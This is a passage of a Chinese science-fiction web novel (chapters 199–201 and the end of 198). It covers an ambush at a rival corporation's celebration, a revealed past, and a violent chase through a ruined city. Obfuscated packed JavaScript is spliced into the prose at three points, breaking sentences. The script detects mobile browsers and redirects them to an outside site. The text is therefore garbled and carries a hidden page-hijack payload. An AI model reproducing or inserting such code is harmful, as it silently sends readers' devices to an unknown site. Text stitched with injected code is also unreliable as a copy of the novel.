“哎炳灿老师你怎么吃手啊!”绯篱连忙将炳灿手从他嘴边扯开。 “哦,我没有思考时啃手的习惯吗?”炳灿晃了晃他那被自己啃得毛刺刺的指尖。 “你们给他重塑芯片的时候有说过他有啃手的习惯吗?”凛烛无语地看着炳灿的手。 “没有啊……” “这AI行不行啊,”凛烛埋怨了两句,把炳灿的手塞回他嘴里,“啃吧啃吧……” 深夜,会议室只剩下玄烈和纪凛烛两个人。人多了显得拥挤,人少了则难免孤寂。他们都很久没见过星星了,不管颠转还是现实都见不到一颗。 今天上空雾蒙蒙的稀薄的云结成了松散却不失形状的屏障,显得天是灰色的。微风从窗缝钻入带来一阵寒凉,现在是落叶的季节。 “……没想到遥遥姐是舜希的人,”纪凛烛突然来了一句,“感觉身边可以信任的人都一点一点消失了,要么离开,要么突然跳出来说我们被他们耍了……” 她笑了起来,“以前我们还没这么厉害,也没有各种响亮的名号,还没有吃到离散的苦,也不孤单。现在……原来这就叫‘高处不胜寒’。” 玄烈靠在窗边正对着她,“一旦陷入权力的争夺就会出现很多难以分辨的‘朋友’和‘敌人’,为什么古往今来还有那么多人选择参与进去……” “为了满腔热血,为了让自己和所珍视的人越来越好,可惜到最后通常都会落了空,被永远带上身边人离开和丢失了自己的魔咒。”纪凛烛趴在桌面轻声说。 “玄烈,你觉得……杨叔有可能也在欺骗咱们吗?”说着,她直起身子来,“我们对‘钢钉’的了解微乎其微,所谓七十二小时也完全是他所说的,而你我也都只见识到了灼琛的样子。” 也不无道理,作为唯一存活着的站在他们这边的人类,杨宁的立场真是他难以保证的,“那就早做打算吧,不要临到七十二小时再行动,提前预留出时间。” 纪凛烛点点头,“他们大概还需要几天恢复能力,刚才绯篱尝试了把他们智识芯片取下来,暂时没有影响,天亮了再安上去。” “只能这样了。”玄烈道。 “玄烈,战争结束之后,你最想做什么?” “我……” 风愈渐猛烈了,从衣领直钻入玄烈的后背,还带来一阵黏重的潮气。他将窗子关紧实,雨几乎是立刻降临,劈里啪啦打在窗子上,每滴溅起的水迹都有硬币大小。天地很快在阵雨倾洒中模糊,唯见迷蒙彩色光影穿过雨幕映在窗户上。 玄烈伸手去拉帘。“别,玄烈,敞着吧,我喜欢看雨。”纪凛烛制止住他,随后起什么去吧灯关掉了。 他们即刻隐身在黑暗里,这下窗外的雨在明而他们在暗了。霓虹灯斑斓色块被雨刷成渐变的雾,耳畔只有雨声,犹如巨幅荧幕上斑驳的电影场面,玄烈这才发现这场雨有多美。 “我想作为人类,正式的拥有自己的身份……”玄烈的声音不比雨声大,他有意轻声说着,“我想离开永璃岛,去外面看世界,我想从缱清州开始。” 昏黑的空间,玄烈望向纪凛烛发亮的眼睛,“我想从我梦里和你去的第一个地方开始。” 纪凛烛此刻正投入地痴痴遥望着雨,听到玄烈的话,她粲然转过脸来,流下了窗影映照过后的彩色的眼泪。 199. 庆典(1) 两天后,涂云放出的巨型银色气球遮住了那天本就枯竭的阳光。他们在永璃岛人们目之所及的地方贴满了庆祝画报,将涂云为中心的半片岛屿都装点成光华璀璨的模样,显得舜氏这半边地区十分荒凉。 不过荒凉才是正常的,玄烈他们预想韶赋修此次恐怕要痛下杀手,便调度舜氏人马偷偷开放了舜氏十几年前劫难过后大举修建的避难所和防空洞,其防御等级是现在世界仍名列前茅的。 毕竟打起架来谁都难以控制波及范围,平民只会变成可怜的牺牲品。他们便暗地指挥民众躲进避难所中,里面的资源足够他们不见日光生活三年,待事情解决再重回地面重建家园。 庆典下午两点正式开始。一点半,玄烈纪凛烛绯篱三人打扮利落走到舜氏门口,看到负责接送他们的涂云飞车。他们谁都没穿战斗服,否则像是去砸场子的。 早些时候,舜氏内部的奢侈品店还开着,玄烈全款拿下了一套米色法兰绒西装,内搭的白色衬衫外多了件比外衣颜色深一度的西装马甲,搭配相同色系斜纹领带,破天荒将刘海梳起来露出了额头。 大小星辰样式的钻石胸针别在心口处,群星环绕宇宙样式的大星辰胸针周边有一圈银质缠花藤蔓,银链所链接的另一枚小菱形星辰则有珍珠做点缀卡在领边,边角锐利,尽显锋芒。 给玄烈上领带时纪凛烛有意双手拍了拍玄烈的肩膀,又拍了拍他腰间,“你怎么瘦了这么多啊?” “有吗?”玄烈对着镜子转来转去,“以前当机械体的时候没觉得,现在知道自己是人类,就得一天三顿饭不落下,吃饭变成任务了,很无聊,就没有胃口了。” “那是因为你没吃过好吃的!”纪凛烛将玄烈从镜子前挤开,整理着她肩处的肩带。 她身上的这件鎏星月羽裙是这家奢侈品店的镇店之宝,这个品牌全世界的分店不超十家,这件裙子更是全球仅一。进店时他们还没看到这条,是纪凛烛和店员攀谈间意外得知这件裙子其实早就属上了她的名字。 “小真姐说这条裙子是她十几年前和设计师喝茶时意外谈下来的稿子,七年后设计师去世了,这条裙子还未来得及面世,就到了她的手里。她说她原本想结婚的时候穿……” 纪凛烛抱着裙子心有不忍,泪水在眼眶里打转,“她告诉店员这条裙子留给我的时候,是那天咱们从珣魑山回来,我去找她,拜托她救救舜氏……玄烈,我从来没有后悔过我做过的事,唯独这次……” 落地镜顶上是一盏亮度极高的射灯,暖黄的光笼罩在她身上,玄烈明白了鎏星月羽裙的含义。钻石与珍珠交替缝合形成的星球图案贯穿两条两厘米宽的肩带,如同将银河披在肩上,同样的图案还以束腰的方式呈现。 束腰更窄些,有零碎水晶颗粒由长短不一的“线”连接而坠,一条条“线”是由从大到小的钻石摞成的,宛若流星拖行的尾迹。柔杏粉色裙纱下珍珠色绸缎捏褶底裙近乎垂至地面,裙尾处,团团成簇的薄纱上缝着不规则星钻月钻与羽毛。 简单的公主编发,无需任何多余的华丽首饰点缀,纪凛烛站在灯下,简直美得出尘绝世,玄烈盯着盯着就失了魂。 忽地,他注意到她肩膀处贴着的肤色伤带,“伤还要紧吗?” 纪凛烛将肩带向伤口处扯了扯,肩带恰好能遮住那块伤带,“还好……看不出来了吧?” 玄烈摇摇头。这一刻他才真正用肉眼如此清楚地捕捉到她双臂上星星点点的伤疤,他不知觉抬起手轻轻摸着那些伤疤和茧,“这都是在第二战备基地落下的吗?” “好像是,”纪凛烛也垂头看着自己伤痕累累的双臂,“不知道什么时候搞下这么多……我买了很多伤带,还犹豫要不要遮住呢。” 疤痕的存在使她的肌肤变得不再平滑,指尖滑过那不平整的表皮,玄烈内心一团酸楚,“不遮也很漂亮。” “真的吗?”纪凛烛眼睛亮亮的,“我也是觉得贴着伤带很不舒服,那我就不遮了。” 玄烈定定地看着面前如此漂亮的她,突然心生一个想法,“可以……拍个照吗?” “当然可以。” 玄烈一溜烟跑上楼去,将那可以留下语音的相机抱了下来交给店员,“麻烦您帮我们拍个照片。” 纪凛烛在左,玄烈靠着她右边。顶光将她浑身照得亮晶晶的,连睫毛都是亮晶晶的。玄烈束手束脚的,店员举了半天相机还是放下了,“你自然点。” 纪凛烛戳戳玄烈,“你怎么那么僵啊。” “自然点、自然点……”玄烈念叨着,心里紧张万分。 他轻轻将手环上纪凛烛的腰,指尖碰触着那些昂贵扎手的钻,心想她也是瘦太多了。钻石与水晶的冰凉顺着手掌的骨头缝钻入他的大脑,好似一根只穿他天灵盖的针。他此刻又感受到那阵失而复得的幸福感,幸福到令他一遍又一遍肯定活着的意义。 面对骤然闪起的闪光灯,玄烈彻底绽放了一个他人生中目前为止最灿烂的笑。 照片从相机里徐徐吐出,纪凛烛小心地捧着那张厚厚的发烫相纸。,待颜色全部显出来,她指着照片里玄烈的脸乐个不停,“憨憨的!” “哪有……”玄烈盯着照片里的自己看。好吧,是有点憨。 玄烈将相纸翻过来,“可以录下你想说的话。” 犹豫一小会儿,纪凛烛拿着相片突然跑走了,几分钟后才回来,把相纸递给玄烈,“哝,我录好了,但是不到听的时候,你只能等战争胜利了再听。” 还神神秘秘的,玄烈心想,“那我也可以偷偷说吗?” “随你。”纪凛烛随意地一挥手。 玄烈便谨慎地抓着那张照片走出了奢侈品店,想说的话早在去取相机的路上都想好了,他随便找了个安静的角落,谨小慎微地点亮那录音键。 等他回来时,纪凛烛身边多了一个西服男人。有曲折置物架摆放,玄烈乍一眼很难看清那人是谁。他抓着照片赶紧跑了进去,才发现是炳灿。 炳灿身边,绯篱一袭珠光白裙在照镜子。她皮肤本就白皙,这下亮相衬托更显得她出奇的亮眼。裙尾只卡到膝上的位置,褶子很轻,裙外罩有一层雾白色裙纱,裙纱略长出一些,纱上的虹光水晶立体刺绣在光的照耀下极其像古老教堂内部的绚烂彩色玻璃穹顶,一下就衬出她恬静又俏皮的气质来。 “你在这做什么?”玄烈问炳灿。 炳灿一个手紧,险些用领带给自己勒死,绯篱赶忙去救援,“凛烛老师说你们照了相,炳灿老师就说他也要和我罩。” 玄烈扯着炳灿袖子将他胳膊拎起来打量着,“太黑的西服不适合你。” “我没钱了,”炳灿拽下他那纯黑色的领带,“我本来兜里就没多少,谁知道一个颠转整得永璃岛通货膨胀了这么多,那些生活在城市里的人怎么活下去的啊!” “我说我给炳灿老师付,他不肯。”绯篱笑着接过领带交回给店员手里。 “是啊,让女生付钱,多没面子啊!”炳灿不情愿地脱下外套。 玄烈忽而想起游乐场的片段,那时他也是一股脑花得兜里空空,坐摩天轮还是纪凛烛付的钱。他笑着给了炳灿一拳,“那有什么办法,绯篱就是比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但玄烈不怎么喜欢这样的氛围,二十多年来在舜氏一共就参加了两次庆典,都没给他留下舒服的印象。似乎感受到他的不自在,纪凛烛取来两杯酒分别给他和绯篱,“尝尝涂云的酒有没有舜氏的好喝。” 他们三人找了个不起眼的角落猫着,正好这里有两扇窗,玄烈瞧着楼下这边极尽繁华,而几百米外的地方就已经沉寂得像荒废了数年了。他抿了一口,清凉酸甜的酒滚入喉咙里,回味都是甜的,辣味很少。确实好喝,比舜氏的酒好喝多了。 接着纪凛烛和绯篱也扬起眉毛。“好喝哎!”绯篱高兴起来。 “好像有薄荷……”纪凛烛咂咂嘴。 渐渐的,人越来越多了,一些身居高位参与掌权的机械体也人模人样地走了进来,一个个摆架子摆得快比上那从政四十年的老领导了。在这群人中央,韶赋修傲气十足地接受着万人仰望和吹捧。 他穿了一身纯黑色的西装,猛地看上去很低调,但很快那西服面料就在光的照射下泛出了暗红色与金色的虹光,还隐隐带出特殊线缝制的卷云纹路。他还是那潇洒的艺术家发型,可在玄烈眼里他就是不一样了。或许是因为那红光满面的精气神,或许是因为他那平直锋利的剑眉,或许是因为他额外带了一副科技感的全透明机械眼镜。 韶赋修向在场每一个对他举杯的人回敬微笑,一个环视下来,他恰好穿过人群看到窗户边的玄烈,于是他主动举杯,微笑。 与他对视,玄烈总有种浑身不自在的感觉,他没说话,没笑,没举杯,任由人潮将那缝隙堵住,切端他们对视的通道。 200. 庆典(2) 庆典在一片祥和中开始,韶赋修被簇拥上台喋喋不休了半天,玄烈起初还认真听着,后来他发现韶赋修压根没讲什么有用的话,便不再听了。 韶赋修身后的大屏幕在他话音结束后便开始不间断播放着涂云的宣传片,把涂云渲染得多么厉害多么有潜力,近乎把永璃岛归位了他们的产业,不知道的还以为舜氏已经完蛋了,完全是将他那一堆假大空的话再复述了一遍。 觥筹交错间,玄烈饮完了第三杯酒,当他还想要第四杯的时候纪凛烛压住了他的手,“再喝你就要醉了,一会韶赋修要是痛下杀手我和绯篱是对付他还是照顾你呢?” “谁痛下杀手?” 纪凛烛话音刚落,那缕熟悉的声音就鬼魅一样飘了过来,顿时惊得玄烈胃里那阵薄荷的凉意从下直上天灵盖。 韶赋修双手各举着一只酒杯走来,他将其中一只递给玄烈,“想喝就喝,咱们交情这么深,不用这么防备。” 看着他一脸伪笑的样子,玄烈就发自内心厌恶,他没接,也没给韶赋修笑模样,“谁和你交情深。” “不是你们、是我记错了吗?”韶赋修看不都看一眼侧面,就直直把那只原本要给玄烈的酒杯伸出去,立马就有人来谄媚地接走,“我怎么记得,咱们以前还在舜氏拍过一张照片呢?” 韶赋修伸手向兜,很快,他食指中指便从兜内夹出一张照片来。照片上站着好几个人,有玄烈、纪凛烛、韶赋修、舜真……是在舜氏顶楼喷泉那张! “照片不是在舜氏吗?怎么会在你这里?”纪凛烛惊诧地问。 “副本而已,当日刚拍完我就向舜真要了一份副本,”韶赋修深沉地看着那张照片,眼角流露出一丝笑意,“当时多好啊,涂云和舜氏还那么和平……” “涂云和舜氏什么时候和平过……”玄烈压着喉咙狠声说道。 “不重要,”韶赋修夹着照片的手指一侧,浅浅的红色火焰就从他指节处产生,将他两根手指的表皮燃烧殆尽了,剩下内部银色的机械手指,一瞬间,那照片也被他烧为一堆灰烬,“咱们信不信不要紧,永璃的民众相信就足够了。” “什么意思?”玄烈总觉得不安。 “二十四小时前,这张照片已传遍了市区所有普通群众的通讯设备,他们发现涂云其实和制造这一切灾难的舜氏是一伙的,猜想留下来也只有死路一条,说不定所谓的避难所只是阴谋呢?”韶赋修抬腕看看时间,“现在,大概已经有三分之二的人跑出岛了吧?” 这是要彻底断掉永璃岛的路!玄烈暗骂一声,“真够卑鄙的。” “卑鄙的不是我吧?”韶赋修晃了晃他手里的金镶玉酒杯,“你们不也卑鄙吗?制造了一枚假芯片给我。” “倒是挺用心的,可惜,你们的用心用错了地方。”见他们几个不回复,韶赋修冷哼了一声。 他仰头饮尽了杯中酒,又随手让服务生把杯子取走了,抬起手臂将双侧袖口处四排扣的末端扣子解开了两颗,方便他更灵活地行动,“同样的技法就不用再玩第二遍了,我不是舜希,没时间过家家。在我出手前,你们最好乖乖把芯片给我,否则……” 他们三人谁都没接韶赋修的茬,玄烈坠在侧后方的手已经隐隐预备好了召唤出库星锥,他不介意将涂云搅得天翻地覆。 “不信邪?那就来试试……”说着,韶赋修右手手腕处燃出火光,登时将他整个右手的外皮燎退,彻底将他那铁手展示出来。 “啪”,一个响指过后,一柄银色的手枪幻化在他手里,这枪比舜希那把规格要大得多,只是拿在韶赋修手里就显得也不那么大了。枪通体银色,枪管长得不太和谐,也粗许多,发出的子弹恐怕已经能超出手枪里大口径的范畴了。 他不信这些毛头小孩能从他手下逃脱,于是也没给他们平等的眼神,如同早就闯进自己地盘的猎物,他只需要何时吃和怎么吃的问题。 那黑压压的枪口就摆在玄烈眼前,他只能看到韶赋修那眯起眼睛的眼尾有几条沟壑样的皱纹。 “怎么样,给你们三秒钟?三……” 突然间,宴会厅讲台后方的大屏幕发出了不稳定的“嗞嗞”噪音,循环播放的涂云宣传片莫名暂停了,屏幕上立刻展现出无法防御的强制介入警报信息,韶赋修循声看向屏幕。 在场的人也纷纷看向韶赋修,他们忽而发觉韶赋修手里的枪,一个个僵固在原地大气不敢出。 玄烈也疑惑这是什么操作,纪凛烛偷偷探向绯篱,“是炳灿做的吗?” “不知道啊……”绯篱压低声音摇摇头,“炳灿老师没说……” 涂云宣传片以一种诡异的姿态卡顿着,画面恰好停在一颗炸弹爆炸的前后,噪音愈来愈响烈,韶赋修压着眉头用眼神逼几个工作人员去看到底什么情况,他随后向众人摆摆那只没拿手枪的手,“各位各位,小插曲而已,很快会恢复正常,别影响了大家的雅致……” 然而那枪又不是假的,人们惊惧地对视了几眼,只能笑笑假装什么都没看见。 然而没过两秒,屏幕上的噪音止息了,画面也黑了下去,韶赋修以为是工作人员将屏幕关了,就没在意。他转回头眼带狠意地看着三人,“别耍花样……” “铛铛——铛铛——” 他话还没说两句,就又有奇怪的敲打声在大厅内回荡。韶赋修那本就不坚实的耐心被击碎了,窃窃私语也从人群中断断续续传出,握着枪的手攥紧了几分。 玄烈却觉得这声音无比耳熟,像是……拨浪鼓! 屏幕骤然间亮了,从这摇晃程度和角度来看似是人手持的录像机,正在众人间穿梭。哄孩子的歌声哨声和打趣声瞬时从视频里传出,音量不知何时被人放大了好几倍,立即吵得众人难以忍受地捂起耳朵。画面滤镜昏黄,带着古朴的气息,人们的笑脸在屏幕中闪现。 在数人中央,一个身穿背后带塑料翅膀的红色短袖的小孩伸手要去抢旁边一人手里的大红色拨浪鼓。他要拿,那人就躲,哄笑声不绝于耳,大家满心欢喜眼眸星亮,眼中只有这个被逗弄得快要哭了的孩子。 韶赋修的注意力完全被那屏幕吸引,手里的枪也随着他身体转向屏幕而垂了下去。玄烈也惊恐地望着那段令他印象深刻的视频,大红拨浪鼓在眼前渐渐模糊,一阵难以把控的灾难感蔓上他全身。 录制视频是和监控视频来回穿插着播放的,顺序同凛烛记忆中完全不同,看来是人有意制作的。“复刻的样本在哪?”玄烈低声问纪凛烛。 “在杨叔那……”纪凛烛也表情凝重。 在场的人很快明白了视频中的内容,他们一个个放下捂着耳朵的手,如同看戏一般全神贯注地同韶赋修一起见证了这埋藏了二十年的秘密被一朝破解。 韶赋修不说话了,他连笑都笑不出来,也全然忘了自己还在呼吸。他就仿佛一座二十年前就枯死的巨木或是本就没有完全活着的雕塑,时至今日才彻底显现原型。 “两位老师,跑吧……”绯篱见情势危急,拉了拉纪凛烛的手腕。 “这件事超出咱们对事情把控的范畴了,玄烈、玄烈……” 纪凛烛顺应绯篱的话拽了拽玄烈,他显然此刻有些懵。待视频里二十年前的韶赋修以孩子和芯片为名向舜延发起进攻的那一声巨响结束,玄铮空中叫喊的那一声声“玄烈”同纪凛烛的喊声相重合,玄烈忽然缓过神来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711389|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他没有再犹豫一分,和二人一同瞬间不顾一切向门口逃窜。 可惜韶赋修发现了他们的行动,“砰——”,子弹声刺穿此时满场死寂的气氛,即刻便穿透了那扇屏幕,光火迸溅,被破出一个半人大小巨洞的屏幕再次暗了下来,飘荡在空中的叫喊也消失了。一眨眼,韶赋修闪现般从天而降落到玄烈等人面前。 “解释……”韶赋修表情略显失控地盯着玄烈。 “是假的。”玄烈扬出燎着白焰的库星锥。 “骗人、骗人……!” 韶赋修现下也顾不得这是什么场合,他再次朝天花板放了一枪,石块墙皮天女散花般坠落,人们惊声尖叫着逃窜,整个涂云都为之震动了。 “对了……你对茶过敏是吗!” 他猛地要抓起玄烈衣领问个明白,玄烈却预判到他的动作,直接用库星锥挑开了他的手。锥刃和他金刚不坏的机械手剐蹭而过,韶赋修一晃神,玄烈他们便从他身边逃出门去。 枪声又响起了,韶赋修的叫喊一路直逼玄烈后脖颈,他不能回头,只能穿过崎岖曲折回廊用尽全力逃向大楼外。 “抓住他——抓住他——” 涂云士兵和机械体几乎顷刻间倾巢出动了,沉重急促杂乱的脚步声楼上楼下纷纷扬扬,绳索刀枪横在他们眼前,三人只得一路连劈带砍杀出一条路。 大门口,一大堆士兵形成一堵围墙,将出口围得里三层外三成。没时间拐向偏门,玄烈拽出库星瞄准门口“砰”地又是狠厉的一枪。 白到发紫的能量焰燃了满身,门口处在一阵巨大爆炸中变为摇摇欲坠的废墟,尸体残肢到处都是,在新一波士兵围上来之前,玄烈一连又开了几枪,他们冲破了围挡,一鼓作气闯回了蓝天白云下。 “怎么回事——”凛烛见状赶忙从楼边跑了出来。 “回去再说!” 玄烈跑到飞车边要拉开飞车的门把手,却半天没能成功,飞车在韶赋修的操控下发动不了了。越来越多的机械体和士兵涌出破损得不成样子的大门,一些宾客也抱头鼠窜着。 部分人挡了机械体的路,就这么二话不说被蛮不讲理地杀掉了,明明真正交战的双方还没有伤亡,周边就血光四溅一片地狱景象,这才是涂云的本来面目。 一只手从背后抓住玄烈的肩膀,立刻,他发觉不对劲。小型暗器的声音比手捏紧他肩膀的感觉更加快速传递至玄烈大脑,他猛然转身用库星锥刺向那人,只是他晚了一步。 炳灿一个飞踢就将那人踹得身子歪斜,“他丫的,我就知道那天炬灼是你假扮的!今天我就来复仇了,受死吧你!” 说着,炳灿抽出一把匕首就朝琀珏扎去。琀珏看见炳灿后一懵,随之就招呼上了他的纽扣雨。伏策及时用他那大刀旋转形成坚不可摧的刀锋盾牌,替炳灿抗下这一击。 另一边,仪琅也杀了个措不及防攻向玄烈,他的电针刚在空中飞出一条直线就被炬衍那半个儡玉给拦了下来,“刚去了舜氏就转阵营了?灼琛,过街老鼠都比你有用吧!” 炬衍搅着那电针向他这侧一扯,仪琅一个趔趄撞了过来,那儡玉上的刺就横在仪琅喉咙口,“你好好看清楚,我是谁?” 仪琅傻了半秒,“炬……衍?” 数不尽的机械体又在朝他们涌过来,玄烈等人尽力保持着一方二十平米大小的区域做防守反击的余地,刀光血影间,那个黑影再次出现挡住了惨淡的太阳。 韶赋修降落在玄烈面前,士兵和机械体停下了动作,他脸上还有方才表情失控的痕迹,但他尽力让自己显得平静。 他伸出手指着玄烈,“你,留在涂云,我放他们一条活路。” 201. 庆典(3) 玄烈自然不会顺了他的意,“我宁愿去死。”坚韧的话从他牙间挤出。 不等韶赋修再做打算,纪凛烛忽地释放出机械臂,两只手猛力抓住了他们身后舜氏方向站着的两只士兵,将它们的脑袋“嘭”的一声两相重重一撞,碎裂的机械外壳炸成了花,破出一道脆弱的口子。 玄烈等人也反应过来纪凛烛的意思,压根没有犹豫,全都猛然间冲向那处口子,硬生生用撞击撞开一条通向舜氏的路。 见他们远去,琀珏等人看着韶赋修的眼色,韶赋修那身机甲又回到了身上,衬得他像个巨人,“不惜一切,把玄烈抓回涂云。” 追逐战在城内爆发,数以万计的涂云士兵和机械体在仪琅与琀珏的指挥下冲进永璃市区,玩命地捕捉玄烈的踪影。 从这里跑回舜氏不是件谈笑间就能完成的事,尽管市区高低错落的建筑令人眼花缭乱,可也敌不过对方实在人多。窝在一家便利店货架后方时,绯篱注意到玻璃墙外空中缓缓飞过的小机械鸟,“那是干什么用的?” “完了,追踪器!” 炳灿话音刚落他们就往外跑,与此同时响彻的还有那只机械鸟发出的“吱吱”警报声。 仪琅追上来几乎是瞬间的事,那电针释放的电流在他们跑过的街边各处设施发出噼里啪啦的声音,伏策和凛烛原本负责牵制住仪琅,可他们的出手总会抢先被剩余的机械体们拉扯住。 路边的一处电箱门被撬开,仪琅扯出电线便交给他后方的机械体,那些机械体便一个拽一个用尽全部力气。“嘭——”,几十条电线竟被他们大力破开地面扯了出来,柏油路一分为二,露出地下的管道和部分被扯断的线缆。 炳灿当即被裂缝绊倒了,幸好后方涌来的电流被纪凛烛挡了下来。旁边炬衍也被电线缠得动弹不得,绯篱几朵向日葵飞去就斩断了束缚。前方,仪琅将电针绑到一条电线上,瞄准玄烈狠狠一甩,那电线就如蟒蛇一般蜿蜒刺来。 库星锥绞住那条电线,仪琅的手砍向玄烈脖颈,库星锥锥尖刺进电线一侧,玄烈灵活躲开,顺势将那“蟒蛇”开膛破肚,将绝缘表皮划烂了。 电流同金属与火焰碰撞擦出的火光很快暴露了他们的位置,琀珏很快捕捉到亮光,并带人赶了过来。场面一度混乱,街道被破坏得变成了垃圾堆,大小子弹炸药猖狂地爆发于他们目之所及的各个角落。 近乎是是瞬间,纽扣雨飞沙走石般不顾涂云自己人还在战斗就蛮横地加入了战场,不仅逼得玄烈他们用尽方法抵挡,还大挫了仪琅那边的实力。 见自己身边一只只士兵都被削成了筛子,仪琅大骂一声,他抛出电针向琀珏,却正好被琀珏利用。那电力蓬勃的针打在纽扣上,即刻就将单纯的纽扣雨转化为带电的冲刷流。 机械臂上的盾勉强可以替身边人挡下一切,玄烈也为其增添了一份力量。青色的引力盾经有纪凛烛掌心撑在他们身前,玄烈蓄满盈盈能量的手也扶在她手臂上。 狂风呼啸在这片可怜的小小街区形成如龙卷风般的景象,纽扣一颗颗砸在盾上发出闷响。此时,韶赋修来了。 他的到来可谓是雪上加霜。眼见那黑黢黢的机甲落了地,琀珏便停止了进攻。那银色手枪在机甲韶赋修手上变成了一杆长枪,形似火箭筒。这次他没有叫停士兵及机械体的行动,只是默默地被搅在一片混战里,将那枪对准玄烈身边的人。 意识到韶赋修的打算,玄烈登时不顾那些机械体的剑刃也要抢过仪琅的电针,他有意将自己手下动作隐藏在迎面而来的刀棍中,没攻击仪琅也没去抵抗士兵。徒手挡下一颗普通子弹后,他将那蓄势待发的电针用劲抛向琀珏。 这时琀珏尚在同纪凛烛等人斡旋,他那颗从眼处卸下的纽扣刚刚击中了炳灿的心口,却在飞回来时被纪凛烛抢到。他这边还苦恼着,那边仪琅那不长眼的电针就飞了过来。 他抬臂挡下电针,一心认为是仪琅趁乱报复,扯来身边一根生了锈的钢管便朝仪琅而去。而琀珏离开留下的空隙,恰好是纪凛烛毫无防备迎接韶赋修手里子弹的良机。 不能坐以待毙了,玄烈暗地提醒凛烛从地图挑出一条设防关口少的、通顺的道路来方便他的撤离,紧接着他再度在伏策和炬衍的庇佑下全神贯注向催动自己浑身的能量。 这一刻他身上的光就犹如天地初开的第一眼,澄澈,清明,随后那道徐徐环绕着的浓郁的紫愈渐鲜明,那是代表病毒那缕浊气的紫,代表舜真的方式的确有效,等到他玄烈正式继承第一战备能力之时,就连那病毒也能为他所用了。 玄烈屏住呼吸,将库星枪口对准韶赋修的耳侧,他不像韶赋修那样等待合适的机会,立刻,他扣下扳机。 那颗耀眼光弹擦出枪口时,恰逢韶赋修也扣动了扳机。两块闪烁的光团不遗余力分别窜向自己该去往的地方。 “砰——砰——”,两声,两团爆炸,在爆炸周围挤得水泄不通的机械体们丝毫没注意到死亡就在眼前,霎时,这片街区被碎裂的尸体占满了。 光弹在钻入韶赋修耳下金属一半后引爆了,强大的震撼力使韶赋修向旁边一倾斜,黑烟顿时从他那金属脑壳侧冒出,露出他内在被炸毁的耳朵和潺潺的血。 这边,纪凛烛轻巧一跃落地。她看到了玄烈的动作,也瞄到韶赋修的枪口,于是最后关头她冒着被面前三只机械体用刀毁容的风险也放弃了防御,而是飞速转移。 关键时刻炳灿和绯篱也帮她伐出了一条撤转的路,幸好她也最终没毁容,只是锁骨处和后背被刀砍了深深浅浅的几道。裙子美则美矣,也是真不适合行动,谁让该死的涂云要求必须穿礼服出席。 凛烛在地图上计算出了最适宜逃窜的那条路,从大路拐进小路再上大路随后翻墙最后那条进丛林的路便可越过卡口回到舜氏。他一声令下,众人便一齐冲向外面。 这条路听似曲折,实际上平坦开阔,除了那堵最后的墙外再没什么能明显遮拦他们的障碍物,也顾不上迂回了,这回是真的得不顾一切地逃亡。 他们一路边逃边杀,犹如被丧尸围城一般见人就得砍,被咬住就再也逃脱不掉了。玄烈纪凛烛的体力尚且足够,炳灿炬衍他们这些而后苏醒的人身体接连发出了吃不消的信号。 “玄、玄烈……我小腿没知觉了……”炳灿气喘吁吁边说边艰难挪动着双腿。玄烈便将他手臂抗到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725691|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩上,“再忍耐一会,逃回舜氏就没关系了!” 跑着跑着,炬衍左边刚用儡玉砍断了一只士兵的脖子,右边就被一只机械体的手臂给绊倒了。伏策见状,拽着他的衣领一把将其拎了起来。 天色静亮,天光尚好,他们快速穿行在被废弃的高楼大厦间,光时而刺眼又时而被高楼遮挡,他们虽是迎着太阳跑的,却有种被世界遗弃了的感觉。 沿途的路都不能被称之为路了,完好的地基被撬起,画有斑马线的人行道裂开一条条或宽或窄的缝隙,路灯倒塌,沿街低矮建筑也垮了不少,士兵们和机械体都如潮水无情蔓延,向他们越涌越近了。 “为什么不动斩翼军!”奔跑中,凛烛问了这么一句。 “再打下去市区就废了,”玄烈拖着炳灿丝毫不敢懈怠地奔行着,“何况还没向舜希要到黑寂军,就怕大到后面舜希会直接出兵围剿……咱们还是不占优势……” 很快,他们跑到了那堵三层楼高的墙边。墙是红砖砌成的,工艺完好到这里就是一片平滑的平面,几乎没有脚可以借力的地方。阳光在这里彻底被遮挡住了,狭窄的巷子还不够他们三个人并肩前行的,炳灿刚到地就跪了,“这、这叫墙?鬼能爬上去啊!” 玄烈踮踮脚探望了一阵,飞行是可以的。后方士兵群越发接近了,他抓住纪凛烛,“我带你们上去。” 纪凛烛则推开玄烈,“我可以挡一阵,先送炳灿他们。” 伏策跺了跺脚,拍了怕凛烛,“我应该没问题,我先带你。” “不用,我刚才感应过了,这个身体也有飞行装置,你先带别人。” 随后,玄烈将炳灿扛起来,伏策也拽着炬衍一条胳膊飞了起来。 “啊,啊我的胳膊——好高——”炬衍喊着。 伏策对潼氏的嫌弃和打心底生起的,他低头瞥了炬衍一眼,“闭嘴,你再叫我放手了!” 绯篱也是自愿留下的,她那带锁链的“向日葵”简直可以被评为最好用的冷暗器之一,隔十万八千里远就绊住了第一排士兵的脚,它们一摔,后面的人只能不知情地跟着摔倒,进而形成踩踏事故。 